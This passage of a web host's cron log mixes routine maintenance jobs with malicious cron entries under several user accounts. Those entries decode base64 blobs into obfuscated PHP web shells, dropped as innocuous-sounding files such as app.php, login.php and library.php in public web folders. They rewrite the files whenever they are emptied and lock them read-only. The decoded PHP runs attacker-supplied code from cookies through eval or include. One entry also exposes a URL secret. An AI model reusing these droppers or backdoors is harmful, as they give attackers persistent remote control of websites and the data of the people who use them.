PSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:38:02 medusa CROND[6776]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:38:02 medusa CROND[6779]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:38:02 medusa CROND[6780]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:39:01 medusa CROND[8200]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 11:39:01 medusa CROND[8236]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:39:01 medusa CROND[8237]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:39:01 medusa CROND[8238]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:39:01 medusa CROND[8240]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Jun  7 11:39:01 medusa CROND[8243]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:39:01 medusa CROND[8246]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:39:01 medusa CROND[8247]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:39:01 medusa CROND[8248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:39:01 medusa CROND[8251]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:39:01 medusa CROND[8253]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:39:01 medusa CROND[8254]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 11:39:01 medusa CROND[8255]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:39:01 medusa CROND[8256]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:40:01 medusa CROND[9724]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 11:40:01 medusa CROND[9726]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 11:40:01 medusa CROND[9734]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 11:40:02 medusa CROND[9737]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 11:40:02 medusa CROND[9738]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:40:02 medusa CROND[9739]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 11:40:02 medusa CROND[9740]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 11:40:02 medusa CROND[9741]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:40:02 medusa CROND[9742]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 11:40:02 medusa CROND[9745]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:40:02 medusa CROND[9756]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:40:02 medusa CROND[9755]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 11:40:02 medusa CROND[9758]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 11:40:02 medusa CROND[9759]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:40:02 medusa CROND[9761]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:40:02 medusa CROND[9762]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 11:40:02 medusa CROND[9753]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 11:40:02 medusa CROND[9760]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 11:40:02 medusa CROND[9754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:40:02 medusa CROND[9769]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 11:40:02 medusa CROND[9773]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
